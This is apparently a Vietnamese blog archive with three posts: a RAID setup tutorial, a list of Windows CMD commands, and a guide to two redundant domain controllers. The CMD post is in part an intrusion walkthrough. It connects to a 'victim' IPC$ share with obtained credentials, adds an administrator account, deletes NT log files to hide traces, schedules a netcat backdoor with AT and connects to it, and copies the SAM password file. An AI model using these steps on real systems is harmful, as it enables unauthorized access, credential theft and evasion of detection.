Sunday, March 13, 2011

Setup hệ thống RAID

1.Giới thiệu :

RAID được viết tắt từ Redundant Array of Independent Disks và cần ít nhất hai ổ cứng để thiết lập một mảng RAID với mục đích là :
  • Tăng cường tốc độ truy cập dữ liệu hệ thống lưu trữ hoặc ( RAID 0 )
  • Tăng cường độ tin cậy về mặt dữ liệu ( RAID 1 )
  • Hoặc cả hai mục tiêu trên .
Trong RAID0 dữ liệu được ghi xen kẽ với mục đích để tăng cường tốc độ truy cập dữ liệu trong ổ cứng . Nó làm việc bằng cách chia những file ghi trên đĩa thành nhiều mẩu ( gọi là xen kẽ ) và ghi mỗi mẩu trên những ổ cứng khác nhau . Ví dụ nếu bạn có file với dung lượng 200KB và 02 ổ đĩa cứng , nó sẽ cắt thành hai mẩu 100KB mỗi một mẩu ghi trên ổ cứng khác nhau .





Chúng ta sẽ giải thích tóm tắt như sau : trên thực tế mỗi một mẩu có dung lượng nhất định tuỳ theo cấu hình của RAID khi chúng ta thiết lập hệ thống . Nếu hệ thống RAID0 thành những mẩu 128KB thì nó sẽ chia file dung lượng 200 KB của chúng ta thành 02 mẩu 128KB ( trong đó sẽ có một mẩu 28KB trống ) . Nếu hệ thống của chúng ta dùng một mẩu 32KB thì 200KB của chúng ta được chia thành 8 mẩu 32KB và hệ thống sẽ gửi 04 mẩu cho mỗi đĩa .

Như thế thì như thế nào là hiệu quả nhất . Trong ví dụ chúng ta đưa ra thay vì ghi trên một đĩa một file dung lượng 200KB thì mỗi đĩa sẽ ghi dung lượng là 100KB file lưu trữ như vậy xét về mặt lí thuyết thời gian lưu trữ 100KB bằng một nửa thời gian lưu trữ 200 KB . Điều cơ bản trong RAID0 là đặt những ổ cứng làm việc song song với nhau .

Dung lượng tổng cộng của ổ cứng trong hệ thống RAID0 bằng tổng dung lượng của hai ổ đĩa . Nếu chúng ta dùng 02 ổ cứng 80GB thì hệ thống đĩa của chúng ta là 160GB . Do đó nếu bạn muốn tăng hiệu suất làm việc của hệ thống thì bạn có thể xem xét việc mua 02 ổ cứng dung lượng nhỏ và thiết lập cấu hình hệ thống dùng RAID0 thay thế cho việc mua 01 ổ cứng có dung lượng lớn .




RAID1 , không phải là cải tiến hiệu suất công việc nhưng nó có mục đích để nâng cao độ tin cậy của dữ liệu . Nó làm việc bằng cách Copy mọi thứ gửi tới ổ cứng thứ nhất và gửi tới ổ cứng thứ hai , người ta hay gọi nó là “mirroring” . Có thể coi như RAID1 là một hệ thống lưu trữ Back-up phần cứng . Nếu ổ đĩa thứ nhất hỏng thì ổ đĩa thứ hai thay thế ngay lập tức .



Do đĩa cứng thứ hai lưu trữ tương tự như đĩa cứng thứ nhất nên dung lượng lưu trữ trên toàn hệ thống bằng dung lượng đĩa cứng thứ nhất . Nếu bạn có 02 ổ cứng dung lượng 80GB , thiết lập cấu hình hệ thống RAID 1 thì tổng số dung lượng hệ thống là 80GB .

Nếu chúng ta quan tâm đến độ an toàn dữ liệu thì RAID 1 là cách nên làm .


Còn có những cấu hình RAID khác cũng rất thuận tiện nhưng phần cứng điều khiển RAID phải hỗ trợ ( hầu hết tất cả các card điều khiển dều hỗ trợ RAID0 và RAID1 ) . Dưới đây là tóm tắt một số RAID thông dụng nữa khác mà hệ thống của chúng ta có thể hỗ trợ .

RAID 0+1 : Hệ thống dùng RAID0 và RAID1 cùng một lúc . Nó cần 04 ổ cứng giống hệt nhau . Nếu một ổ cứng hỏng thì hệ thống trở thành RAID0


RAID 10 : Hệ thống dùng RAID0 và RAID1 cùng một lúc . Nó cần 04 ổ cứng giống hệt nhau . Nếu một ổ cứng hỏng thì hệ thống trở thành RAID1 .

RAID5 : Nó là hệ thống RAID0 lưu trữ những thông tin Parity cho độ tin cậy cao hơn . Nó cần ít nhất 03 ổ cứng . Đối với hệ thống có 03 ổ cứng thì tổng số dung lượng lưu trữ hệ thống kích thước của 01 ổ cứng nhân với 2 . Ví dụ có 03 ổ cứng 80GB thiết lập hệ thống dùng RAID5 thì dung lượng toàn bộ hệ thống lưu trữ là 160KB , trong đó dùng lượng tương đương với 1 ổ cứng dùng để lưu thông tin Parity



JBOD : được viết tắt từ “Just a Bunch of Disks” và không phải là hệ thống RAID nó không phải với mục đích cải thiện hiệu suất của ổ cứng hay độ tin cậy . Nó dùng để ghép những ổ cứng có dung lượng khác nhau thành một dung lượng lưu trữ duy nhất . Ví dụ : nếu hệ thống dùng JBOD thêm ổ cứng 40GB với ổ 80GB để thành 120GB



Chúng ta cũng có thể kết hợp theo hình dưới đây





2.Yêu cầu
Để có hệ thống RAID trong máy tính , bạn cần hai điều :

·Có phần điều khiển RAID .
·Ít nhất hai ổ cứng.

Ngày nay có nhiều Mainboard tích hợp sẵn điều khiển RAID nên chúng ta dễ dàng thiết lập hệ thống RAID .

Đầu tiên chúng ta kiểm tra xem trên Mainboard có tích hợp phần điều khiển RAID hay không . Để làm được điều này tốt hơn hết chúng ta nên đọc sách hướng dẫn đi kèm theo Maiboard . Hoặc cũng có thể xem Chipset của Mainboard - loại South Bridge ( hay được gọi là ICH , I/O Controller Hub đối với Chipset của Intel ) có chữ R thì có nghĩa là hỗ trợ RAID . Ví dụ Chip ICH7 thì không có nhưng ICH7R thì có tính năng này . Tương tự như thế đối với những nhà sản xuất khác . Ví dụ VIA VT8237R thì có RAID , những VT8237 thì không có .

Có một vài nhà sản xuất gọi RAID theo tên gọi do họ đặt ra như “Intel Matrix Storage” hoặc “nVidia MediaShield Storage” hoặc đại loại như vậy .

Nhiều Mainboard có những Chip thêm vào cung cấp nhiều cổng dùng cho ổ cứng của các hãng như : SiliconImage, JMicron, Marvell, Promise và HighPoint . Thông thường những Chip thêm vào này có tích hợp với phần điều khiển RAID . Do đó nếu những Chipset của Mainboard không hỗ trợ RAID nhưng những Chip thêm vào thì lại có , lúc đó thì bạn phải cài ổ cứng vào cổng gắn với Chip này mà không dùng cổng ổ cứng từ Chipset South Bridge .

Theo hình dưới đây :


Chúng ta xem chi tiết Mainboard Intel D975XBX2 trong bài này . Mainboard này có 08 cổng SATA II trong đó : 04 cổng được điều khiển bởi Chipset (Intel 975XBX, dùng ICH7R SouthBridge) và 04 cổng được điều khiển bởi Chip Marvell 88SE6145 . Cả hai Chip này đều có tích hợp điều khiển RAID , nhưng nếu Chipset dùng loại SouthBridge khác ( ví dụ ICH7 ) thì chúng ta dùng RAID ở 04 cổng SATA II phụ từ Marvell 88SE6145 .

Trong tình huống trên chúng ta có 02 Chip cho phép dùng RAID nên những ổ cứng phải được lắp theo nhóm cổng . Intel dùng màu đen trên cổng SATA nối với Chipset và màu xanh nước biển trên cổng SATA nối với Chip thêm vào . Do đó 02 ổ cứng của chúng ta phải cắm trên cổng cùng một màu . Đối với Mainboard mà Chipset có sẵn RAID thì chúng ta hay thích sử dụng những cổng này để nối với ổ cứng ( trong hình trên là cổng màu đen ) .

Nếu Mainboard của bạn không hỗ trợ RAID thì phải dùng Card điều khiển RAID cắm thêm vào máy tính .


2.Lắp đặt phần cứng


Quá trình lắp cài đặt RAID được chia thành 03 phần :

·Lắp đặt phần cứng , lúc đó bạn cắm ổ cứng vào máy tính của mình vào những chỗ mà sẽ hỗ trợ cho hệ thống RAID .
·Cấu hình RAID , khi đó bạn thiết lập hệ thống để dùng 02 ổ cứng như là một mảng RAID .
·Cài đặt hệ điều hành , bạn cần hệ điều hành tải Driver riêng biệt để nhận ra mảng RAID của bạn .

Một điều cần chú ý , nếu có dữ liệu quan trọng trên ổ đĩa thì bạn phải Backup trước vì trong quá trình cài đặt hệ thống RAID mọi dữ liệu trên ổ cứng trước kia sẽ bị xoá hoàn toàn .

Việc cắm ổ cứng là điều vô cùng đơn giản : cài ổ cứng vào máy , nối dây nguồn vào mỗi ổ cứng , cắm cable tín hiệu của ổ cứng vào cổng ổ cứng tương ứng trên Mainboard ( nếu Mainboard không hỗ trợ RAID thì phải mua Card điều khiển RAID và nối cable tín hiệu ổ cứng vào Card đó ) . Tất nhiên tất cả công việc trên thực hiện trong lúc máy tính tắt .

Trong hướng dẫn này chúng tôi dùng Mainboard D975XBX2 và 02 ổ cứng Samsung HD80HJ (80 GB, SATA-300) .

Một điều quan trọng để dùng những cổng mà có thể mang lại hiệu quả cao nhất là ổ cứng của chúng ta cũng phải đạt được đúng tính năng kỹ thuật của nó . Có hai chuẩn ổ cứng chính hiện nay là PATA ( hay còn gọi là IDE ) và SATA . Cổng PATA ngày nay ít được sử dụng và cổng SATA là chuẩn đang được thông dụng . Nếu lắp ráp hệ thống mới chúng ta không nên dùng ổ đĩa chuẩn PATA .

PATA có thể còn hai tốc độ ATA100 và ATA133 . Hiển nhiên tốt nhất chúng ta nếu dùng loại ổ cứng này thì dùng ổ ATA133 cùng với cổng ATA133 . Để tăng hiệu suất cao nhất không nên hai ổ cứng dùng chung một Cable ở chế độ Master và Slave và nên mỗi ổ dùng Cable riêng với chế độ Master . Thật không may mắn những Mainboard mới không có nhiều hơn hai kênh IDE trên Mainboard nên việc lựa chọn dùng những ổ cứng PATA là kém .

Chúng ta cũng không nên quên rằng cổng PATA cũng có thể hỗ trợ RAID , như hình dưới đây


Ở hình trên cổng PATA không được điều khiển bằng Chipset mà được điều khiển bởi Chip thêm vào để hỗ trợ RAID là GigaRAID.

Do PATA dần dần bị loại bỏ khỏi hệ thống nên chúng ta tập trung và SATA .

SATA có thể có hai tốc độ : SATA I ( 1.5Gbps) và SATA II ( 3 Gbps) . Tốt nhất là ổ cứng SATA II nối với cổng SATA II trên Mainboard .

Việc cài đặt rất dễ dàng . Nối một Cable SATA vào một ổ cứng và nối cable nguồn SATA và ổ cứng ( nếu nguồn cung cấp của bạn không có dây cable để nối với nguồn của ổ SATA thì phải có Adaptor để chuyển đổi ) , theo hình dưới đây :


Đầu khác của Cable SATA cắm tới cổng SATA trên Mainboard . Cách tổ chức tốt nhất là dùng những cổng có số nhỏ trước . Ví dụ nếu cổng trên Mainboard dùng Chipset SouthBridge ICH6 có ghi SATA0, SATA1, SATA2 và SATA3 . Chúng ta sẽ dùng cổng SATA0 và SATA1 . Nên nhớ rằng bạn phải cắm Cable vào cổng mà hỗ trợ RAID trên Mainboard ( hoặc trên Card điều khiển RAID cắm thêm ) , theo hình dưới đây



4. Cấu hình RAID
Nếu dùng những cổng điều khiển ổ cứng bằng Chipset hỗ trợ RAID , bạn cần đầu tiên vào Setup của Mainboard và cấu hình chúng thành RAID để thay thế IDE .
Đối với cấu hình khi chọn IDE thì chúng làm việc như cổng IDE thông thường , nếu chọn cấu hình là RAID là cho phép chúng làm việc như kiểu hệ thống RAID.

Trên thực tế nếu bạn không thay đổi cấu hình thành RAID thì hệ thống của chúng ta không xuất hiện cấu hình RAID này trong quá trình POST , bởi vì ngăn chặn chúng ta thiết lập cấu hình lung tung trong hệ thống .

Do đó vào Setup của Mainboard ( bằng cách bấm phím Del sau khi bật máy tính ) để thay đổi sự lựa chọn này . Trong lựa chọn của Mainboard chọn Advanced , Drive Configuration, “Configure SATA As” . Phần lựa chọn này tuỳ thuộc vào nhà sản xuất .


Sau khi thay đổi cấu hình này , bạn cần lưu lại sự thay đổi và thoát ra ngoài .


Cấu hình RAID bằng cách bấm phím trong quá trình POST (Power-On Self Test) . Dùng tổ hợp phím nào để vào phần đặt cấu hình cho RAID sẽ xuất hiện trên màn hình trong quá trình POST và phụ thuộc tuỳ theo nhà sản xuất Chip như :
  • Control - I,
  • Marvell là Control - M,
  • SiliconImage là Control - S,
  • JMicron là Control - J
  • …..
Trong trường hợp Mainboard dùng 02 Chip để hỗ trợ RAID sẽ có hai ví dụ như một RAID dùng cho Chipset và một RAID khác dùng Chip Marvell 88SE6145 , thì sẽ xuất hiện hai hiển thị cho việc lựa chọn này .

Khi nối hai ổ cứng với phần điều khiển RAID bằng Chipset theo hình dưới đây và bấm Ctrl-I để vào cấu hình hệ thống RAID

Trên màn hình sẽ xuất hiện khác nếu khi cắm ổ cứng vào Chip Marvell để điều khiển RAID , để vào cấu hình hệ thống RAID bấm Ctrl-M


Đối với hệ thống RAID dùng Chipset Intel sau khi bấm Ctrl-I trên màn hình sẽ xuất hiện như sau :


Mọi tiện ích rất đơn giản và dễ sử dụng . Trong ví dụ của chúng ta trên màn hình xuất hiện những thông tin về những ổ cứng cắm trong máy tính .

Đầu tiên chọn Create RAID Volume , để thiết lập hệ thống RAID theo hình dưới đây


Ở đây chúng ta sẽ phải cấu hình như sau :
  • Volume Name : hệ điều hành sẽ truy cập vào RAID thông qua tên này .
  • RAID Level : kiểu RAID mà bạn muốn , RAID0 , RAID1 , hoặc những kiểu RAID khác phụ thuộc vào Chip điều khiển RAID .
  • Disks : chọn những đĩa mà bạn muốn trong mảng RAID
  • Strip size : kích thước của mẩu dữ liệu mà hệ thống RAID sẽ sử dụng . Nếu bạn không thạo lắm thì nên để chế độ ngầm định của nó ( thông thường là 64 KB hoặc 128 KB ) .
  • Capacity : có thể cấu hình dung lượng thấp hơn nếu như chúng ta tạo nhiều RAID Volume ( giống như khái niệm “partition”trong mảng RAID , có nghĩa là có thể tạo hai hoặc nhiều ổ RAID ) . Ví dụ nếu mảng có dung lượng 160GB , chúng ta cấu hình 100GB cho RAID còn 60GB còn lại làm việc như một ổ cứng độc lập tách rời .
Sau khi bấm “Create Volume” , trên màn hình xuất hiện hỏi việc khẳng định cho công việc này và thông báo dữ liệu trên ổ cứng sẽ bị xoá . Bấm “Y” và RAID được thiết lập .



Sau đó trên màn hình xuất hiện về việc tạo xong hệ thống RAID







5. Cài hệ điều hành

Bây giờ bạn cần cài hệ điều hành sau khi khai báo xong cấu hình RAID của phần cứng . Chúng ta sẽ cài hệ điều hành Windows XP trong phần hướng dẫn này .

Cho đĩa CD cài đặt Windows XP vào ổ CDROM , khởi động máy tính cho phép ổ CD khởi động trước. Có một vấn đề là Windows XP không tự động nhận ra hệ thống RAID , do đó nó nghĩ rằng máy tính không có ổ cứng cài đặt như thông báo theo hình dưới đây :


Lúc này bạn cần phải có đĩa mềm mà chứa phần Driver của RAID . Phần Driver của RAID được chứa trong đĩa CD-ROM đi kèm theo Mainboard khi mua , hoặc theo Card cắm thêm điều khiển RAID . Ứng dụng này được nằm theo thư mục gọi là RAID hoặc tương tự như vậy .

Trong ví dụ trên nó là file có tên “f6flpy32_STOR_5.5.0.1035_PV.zip” , chúng ta giải nén và chạy File có phần mở rộng là .exe , nó sẽ yêu cầu chèn đĩa mềm trắng vào ổ mềm và tạo thành đĩa cần thiết để sử dụng .

Nếu bạn không có đĩa CD này thì cần tải trên trang Web của nhà sản xuất Mainboard hoặc Chipset .

Khi Windows XP CD-ROM bắt đầu quá trình tải , chúng ta sẽ theo dõi khi có dòng thông báo “Press F6 if you need to install a third party SCSI or RAID driver…” thì bấm ngay phím F6 và chèn đĩa mềm vừa tạo vào ổ mềm .


Tự bản thân Windows không xác định được vị trí của Driver RAID như hình dưới đây


Khi màn hình xuất hiện như trên bạn bấm phím S để chọn từ ổ mềm Driver mà Windows sẽ tải . Như hình dưới


Trong trường hợp ví dụ trên , hãy chọn “Intel (R) 82801GR/GH SATA RAID Controller (Desktop ICH7R/DH)” – do chúng ta dùng Chip ICH7R.

Sau khi chọn Driver trên màn hình sẽ hiển thị Driver sẽ được cài đặt như hình dưới



Từ bây giờ Windows sẽ nhận ra mảng RAID chính xác của nó . Trong ví dụ trên , chúng ta dùng hệ thống RAID0 với 02 ổ cứng 80 GB và Windows sẽ nhận dạng 160 GB như hình dưới đây :


Bạn nên lưu ý số hiển thị trên màn hình nhiều khi sẽ thấp hơn một chút . Ví dụ ổ cứng dung lượng 80GB thông thường nhận 74.53GB , đó là nguyên nhân tại sao bạn nhìn thấy 150GB mà không phải là 160GB .

Bây giờ cho phép quá trình cài đặt Windows như bình thường , cài đặt các Driver phần cứng đi kèm theo và cài những chương trình phần mềm ứng dụng cần thiết để sử dụng .

Thông thường phần điều khiển RAID cũng kèm theo phần mềm quản lí mà bạn có thể cài chương trình theo dõi hệ thống RAID .

Theo ví dụ mà đưa ra thì phần mềm quản lí có tên là Intel Matrix Storage Manager , nó cho phép bạn xem tổng quát hệ thống RAID và kiểm tra trạng thái RAID nếu chúng ta dùng nhiều ổ cứng trong hệ thống .





Source : http://www.ddcntt.vn/forum/showthread.php?t=940

Tuesday, March 8, 2011

Các lệnh DOS dùng cho quản trị mạng máy tính

Một số lệnh CMD cơ bản trong DOS

Đầu tiên khởi động Command Promt lên đã, vào Start=>Run, gõ CMD, ấn ENTER.

1. Lệnh Ping : Cú pháp: Code: ping ip/host [/t][/a][/l][/n]
ip: địa chỉ IP của máy cần kiểm tra;
host là tên của máy tính cần kiểm tra.
Người ta có thể sử dụng địa chỉ IP hoặc tên của máy tính.
- Tham số /t: Sử dụng tham số này để máy tính liên tục "ping" đến máy tính đích, cho đến khi bạn bấm Ctrl + C
- Tham số /a: Nhận địa chỉ IP từ tên host
- Tham số /l : Xác định độ rộng của gói tin gửi đi kiểm tra. Một sốhacker sử dụng tham số này để tấn công từ chối dịch vụ một máy tính(Ping of Death - một loại DoS), nhưng tôi nghĩ là hacker có công cụriêng để ping một gói tin lớn như thế này, và phải có nhiều máy tínhcùng ping một lượt.
- Tham số /n : Xác định số gói tin sẽ gửi đi. Ví dụ: ping 174.178.0.1/n 5
Công dụng : + Lệnh này được sử dụng để kiểm tra xem một máy tính có kếtnối với mạng không. Lệnh Ping sẽ gửi các gói tin từ máy tính bạn đangngồi tới máy tính đích. Thông qua giá trị mà máy tính đích trả về đốivới từng gói tin, bạn có thể xác định được tình trạng của đường truyền(chẳng hạn: gửi 4 gói tin nhưng chỉ nhận được 1 gói tin, chứng tỏ đườngtruyền rất chậm (xấu)). Hoặc cũng có thể xác định máy tính đó có kếtnối hay không (Nếu không kết nối,kết quả là Unknow host)....

2. Lệnh Tracert :
Cú pháp : Code: tracert ip/host
Công dụng : + Lệnh này sẽ cho phép bạn "nhìn thấy" đường đi của các góitin từ máy tính của bạn đến máy tính đích, xem gói tin của bạn vòng quacác server nào, các router nào... Quá hay nếu bạn muốn thăm dò mộtserver nào đó.

3. Lệnh Net Send : gởi thông điệp trên mạng (chỉ sử dụng trên hệ thống máy tình Win NT/2000/XP).
Cú pháp: Net send ip/host thông_điệp_muốn_gởi
Công dụng: + Lệnh này sẽ gửi thông điệp tới máy tính đích (có địa chỉ IP hoặc tên host) thông điệp: thông_điệp_muốn_gởi.
Trong mạng LAN, ta có thể sử dụng lệnh này để chat với nhau. Trongphòng vi tính của trường các bạn có thể dùng lệnh này để ghẹo mọingười! Bạn cũng có thể gởi cho tất cả các máy tính trong mạng LAN theocấu trúc sau : Code: Net send * hello!I'm pro_hacker

4. Lệnh Netstat :
Cú pháp: Code: Netstat [/a][/e][/n]
- Tham số /a: Hiển thị tất cả các kết nối và các cổng đang lắng nghe (listening)
- Tham số /e: hiển thị các thông tin thống kê Ethernet
- Tham số /n: Hiển thị các địa chỉ và các số cổng kết nối... Ngoải ra còn một vài tham số khác
Các bạn hãy gõ Netstat /? để biết thêm Công dụng :
+ Lệnh Netstat cho phép ta liệt kê tất cả các kết nối ra và vào máy tính của chúng ta.

5. Lệnh IPCONFIG :
Cú pháp: Code: ipconfig /all
Công dụng: + Lệnh này sẽ cho phép hiển thị cấu hình IP của máy tính bạnđang sử dụng, như tên host, địa chỉ IP, mặt nạ mạng...

6. Lệnh FTP (truyền tải file):
Cú pháp: Code: ftp ip/host
Nếu kết nối thành công đến máy chủ, bạn sẽ vào màn hình ftp, có dấu nhắc như sau:
Code: ftp>_ Tại đây, bạn sẽ thực hiện các thao tác bằng tay với ftp,thay vì dùng các chương trình kiểu Cute FTP, Flash FXP. Nếu kết nốithành công, chương trình sẽ yêu cầu bạn nhập User name, Password. Nếuusername và pass hợp lệ, bạn sẽ được phép upload, duyệt file... trênmáy chủ.
Một số lệnh ftp cơ bản:
-cd thu_muc: chuyển sang thư mục khác trên máy chủ
- dir: Xem danh sách các file và thư mục của thư mục hiện thời trên máy chủ
- mdir thu_muc: Tạo một thư mục mới có tên thu_muc trên máy chủ
- rmdir thu_muc: Xoá (remove directory) một thư mục trên máy chủ
- put file: tải một file file (đầy đủ cả đường dẫn. VD: c:\tp\bin\baitap.exe) từ máy bạn đang sử dụng lên máy chủ.
- close: Đóng phiên làm việc
- quit: Thoát khỏi chương trình ftp, quay trở về chế độ DOS command.Ngoài ra còn một vài lệnh nữa, xin mời các bạn tự tìm hiểu.
Công dụng : + FTP là một giao thức được sử dụng để gửi và nhận filegiữa các máy tính với nhau. Windows đã cài đặt sẵn lệnh ftp, có tácdụng như một chương trình chạy trên nền console (văn bản), cho phépthực hiện kết nối đến máy chủ ftp

7. Lệnh Net View :
Cú pháp: Code: Net View [\\computer|/Domain[:ten_domain]]
Công dụng: + Nếu chỉ đánh net view [enter], nó sẽ hiện ra danh sách cácmáy tính trong mạng cùng domain quản lý với máy tính bạn đang sử dụng.
+ Nếu đánh net view \\tenmaytinh, sẽ hiển thị các chia sẻ tài nguyêncủa máy tính tenmaytinh . Sau khi sử dụng lệnh này, các bạn có thể sửdụng lệnh net use để sử dụng các nguồn tài nguyên chia sẻ này.

8. Lệnh Net Use :
Cú pháp: Code: Net use \\ip\ipc$ "pass" /user:"***"
- ip: địa chỉ IP của victim.
- ***: user của máy victim
- pass: password của user Giả sử ta có đc user và pass của victim có IPlà 68.135.23.25 trên net thì ta đã có thể kết nối đến máy tính đó rùiđấy!
Ví dụ: user: vitim ; pass :12345 .
Ta dùng lệnh sau:
Code: Net use \\68.135.23.25\ipc$ "12345" /user:"victim"
Công dụng: + kết nói một IPC$ đến máy tính victim (bắt đầu quá trình xâm nhập).

9. Lệnh Net User :
Cú pháp: Code: Net User [username pass] [/add]
- Username : tên user cấn add
- pass : password của user cần add Khi đã add được user vào rùi thì ta tiến hành add user này vào nhóm administrator.
Code: Net Localgroup Adminstrator [username] [/add]
Công dụng: + Nếu ta chỉ đánh lệnh Net User thì sẽ hiển thị các user có trong máy
+ Nếu ta đánh lệnh Net User [username pass] [/add] thì máy tính sẽ tiến hành thêm một người dùng vào.
Ví dụ: ta tiến hành add thêm một user có tên là uanhoa , password là :banvatoi vào với cấu trúc lệnh như sau:
Code: Net User xuanhoa banvatoi /add
Sau đó add user xuanhoa vào nhóm adminnistrator
Code: Net Localgroup Administrator xuanhoa /add

10. Lệnh Shutdown:
Cú pháp: Code: Shutdown [-m \\ip] [-t xx] [-i] [-l] [-s] [-r] [-a] [-f] [-c "commet] [-d up x:yy] (áp dụng cho win XP)
- Tham số -m\\ip : ra lệnh cho một máy tính từ xa thực hiên các lệnh shutdown, restart,..
- Tham số -t xx : đặt thời gian cho việc thực hiện lệnh shutdown.
- Tham số -l : logg off (lưu ý ko thể thực hiện khi remote)
- Tham số -s : shutdown
- Tham số -r : shutdown và restart
- Tham số -a : không cho shutdown
- Tham số -f : shutdown mà ko cảnh báo
- Tham số -c "comment" : lời cảnh báo trước khi shutdown
- Tham số -d up x:yy : ko rõ Code: shutdown \\ip (áp dụng win NT)
Để rõ hơn về lệnh shutdown bạn có thể gõ shutdown /? để được hướng dẫn cụ thể hơn!
Công dụng: + Shutdown máy tính.

11. Lệnh DIR :
Cú pháp: Code: DIR [drive:][path][filename] Lệnh này quá căn bản rùi, chắc tui khỏi hướng dẫn.
Để rõ hơn bạn đánh lệnh DIR /? để được hướng dẫn.
Công dụng: + Để xem file, folder.
12. Lệnh DEL :
Cú pháp: Code: DEL [drive:][path][filename] Lệnh này cũng căn bản rùi, ko phải nói nhìu.
Công dụng: Xóa một file, thông thường sau khi xâm nhập vào hệ thống, taphái tiến hành xóa dấu vết của mình để khỏi bị phát hiện.
Sau đây là những files nhật ký của Win NT:
Code: del C:\winnt\system32\logfiles\*.*
del C:\winnt\ssytem32\config\*.evt
del C:\winnt\system32\dtclog\*.*
del C:\winnt\system32\*.log
del C:\winnt\system32\*.txt
del C:\winnt\*.txt del C:\winnt\*.log

13. Lệnh tạo ổ đĩa ảo trên computer:
Cú pháp:
Code: Net use z: \\ip\C$ ( hoặc là IPC$ )
- Z là của mình...còn C$ là của Victim
Công dụng: Tạo 1 đĩa ảo trên máy tính (lệnh này mình cũng không nắm rõ nên ko thể hướng dẫn chi tiết đc)

14. Lệnh Net Time :
Cú pháp: Code: Net Time \\ip
Công dụng: + Cho ta biết thời gian của victim, sau đó dùng lệnh AT đểkhởi động chương trình. (các bạn có thể tham khảo lệnh AT tại phầnbasic to hacking ở phần hacking and securities trong diễn đàn dttx.org)

15. Lệnh AT:
Cú pháp: Code: AT \\ip
Côngdụng: + Thông thường khi xâm nhập vào máy tính victim khi rút lui thìta sẽ tặng quà lưu niệm lên máy tính victim, khi đã copy troj hoặcbackdoor lên máy tính rùi ta sẽ dùng lệnh at để khởi động chúng.
Ví dụ: ở đây tui có con troj tên nc.exe (NC là từ viết tắc củaNETCAT....nó là một telnet server với port 99) và đc copy lên máyvictim rùi. Đầu tiên ta cần biết thời gian của victim có IP là :68.135.23.25 .
Code: Net Time \\68.135.23.25 Bây h nó sẽ phản hồi cho ta thời gian của victim,
ví dụ : 12:00. Code: AT \\68.135.23.25 12:3 nc.exe Đợi đến 12:3 là nósẽ tự chạy trên máy nạn nhân và chúng ta có thể connected đến port 99.

16. Lệnh Telnet:
Cú pháp: Code: telnet host port
Gõ telnet /? để biết thêm chi tiết.
Nhưng nếu như máy victim đã dính con nc rồi thì ta chỉ cần connect đến port 99 là OKie
Code: telnet 68.135.23.25 99
Công dụng: + Kết nối đến host qua port xx

17. Lệnh COPY:
Cú pháp: Code: COPY /? Dùng lệnh trên để rõ hơn!
Công dụng: + Copy file, ở đây chắc mình khỏi nói thêm nhé.
Ví dụ:chúng ta copy files index trên ổ C của mình lên ổ C của 127.0.0.1
Code: Copy Index.html \\127.0.0.1\C$\index.html
nếu bạn copy lên folder winNt
Code: Copy index.html \\127.0.0.1\admin$\index.html
muốn copy files trên máy victm thì bạn gõ vào :
Code: Copy \\127.0.0.1\Admin$\repair\sam._c:\
lưu ý : code ở đây được hiểu là mã lệnh các bạn không nên gõ vào chữcode, nếu gõ code thì các bạn không thực hiện được những dòng mã lệnhphía trên đâu

18. Lệnh SET:
Cú pháp: Code: SET
Công dụng: + Displays, sets, or removes cmd.exe enviroment variables.

19. Lệnh Nbtstat:
Cú pháp: Code: Nbtstat /? Gõ lệnh trên để rõ hơn về lệnh này.
Công dụng: + Display protocol statistic and curent TCP/IP connectionsusing NBT (netbios over TCP?IP) Trên đây là một số hiểu biết của mìnhvề các lệnh CMD, mình đã đọc được từ rất nhiều nguồn khác nhau, naytổng hợp lại cho mọi người tham khảo. mong mọi người trong diễn đàn gópý và bỗ xung thêm nhiều dòng lệnh trên dos.

Một số lệnh coi cấu hình máy :
19 bootcfg : xem thiết lập phần tải hệ điều hành ban đầu .
20 defrag : lệnh này dùng để dồn đĩa cứng .
21 diskpart : quản lí phân vùng trên đĩa . Chúng ta có thể bấm DISKPART / ? để xem hướng dẫn cách dùng chi tiết .
22 driverquery : nhận danh sách các chương trình Driver và những thuộc tính của chúng .
23 getmac : nhận địa chỉ MAC ( Media Access Control ) của Card mạng .
24 gpresult : nhận RSoP , những thiết lập người dùng và những thiết lập của chính sách nhóm.
25 netsh : công cụ cấu hình mạng . Bấm NETSH / ? để biết thêm chi tiết . Để thoát khỏi công cụ này gõ lệnh NETSH>
26 openfiles : cho phép Admin hiển thị hoặc bỏ kết nối những file đang mở trong XP Pro . Bấm OPENFILES/? để biết thêm về tham số .
27 recover : khôi phục những thông tin không thể đọc được trên đĩa .
28 reg : công cụ cho Registry .
29 schtasks : Admin có thể tạo lịch trình , thay đổi , xoá những nhiệm vụ trên máy trạm hoặc những máy điều khiển từ xa . SCHTASKS/? để hiển thị những tham số .
30 sfc : kiểm tra file hệ thống , bảo về và thay thế , sửa chữa những file hệ thống bị hỏng .
31 shutdown : bạn có thể tắt hoặc khởi động lại máy tính của mình hoặc Admin có thể tắt hoặc khởi động lại những máy tính điều khiển từ xa .
32 systeminfo : hiển thị những thông tin cấu hình cơ bản .
33 tasklisk : cho chúng ta biết những chương trình nào đang chạy .
34 taskkill : tắt những chương trình đang chạy
35 dxdiag : cấu hình


Thiết lập 2 Domain Controller chạy song song

Bài viết này gồm 5 bước :


- Bước 1 : Dựng Domain Controller cho Server1

- Bước 2 : Dùng Server2 join Domain vào Server1

- Bước 3 : Dựng Domain Controller cho máy Server2

- Bước 4 : Dựng DNS cho Server2

- Bước 5 : Bật Gobal Catalog

- Bước 6 : Tạo user logon

- Bước 7 : Dùng máy Client join Domain và test thử bằng cách tắt 1 trong 2 Domain Controller.



1/ Máy Server 1 :

Đặt IP tĩnh cho DC theo các tham số sau:

IP: 192.168.1.1

NetMask: 255.255.255.0

Preferred DNS Server: 192.168.1.1



Vào Start > Run >; Chạy chương trình DCPROMO để nâng cấp lên lên Domain Controller



Cửa sổ "Active Directory Installation Wizard" , nhấn Next


Domain Controller Type, chọn Domain controller for a new domain và click next



Ở khung Ceate New Domain, chọn Domain in a new forest



Khung New Domain Name, điền vào domains của bạn (ở đây là nhatnghe.com)



NetBIOS Domain Name, để nguyên giá trị mặc định



Chọn giá trị mặc định cho các thư mục chứa cấu hình hệ thống




DNS Registration Diagnostics, chọn Install and configure the DNS server on this computer, and set this computer to use this DNS server as its preferrend DNS server




Permissions, chọn Permissions compatible only with Windows 2000 or Windows Server 2003 operating systems ....




Dicrectory Services Restore Mode Administrator Password, điền password nếu bạn cần (ở đây tôi để trắng)



Màn hình tóm tắt thông số cài đặt




Den cua so nay, cac ban doi 1 chut



Đến đây thì đã thành công, chọn Finish để kết thúc quá trình cài đặt và reboot lại.





Sau khi reboot lại thì tạo user tên “u1” , password: 123

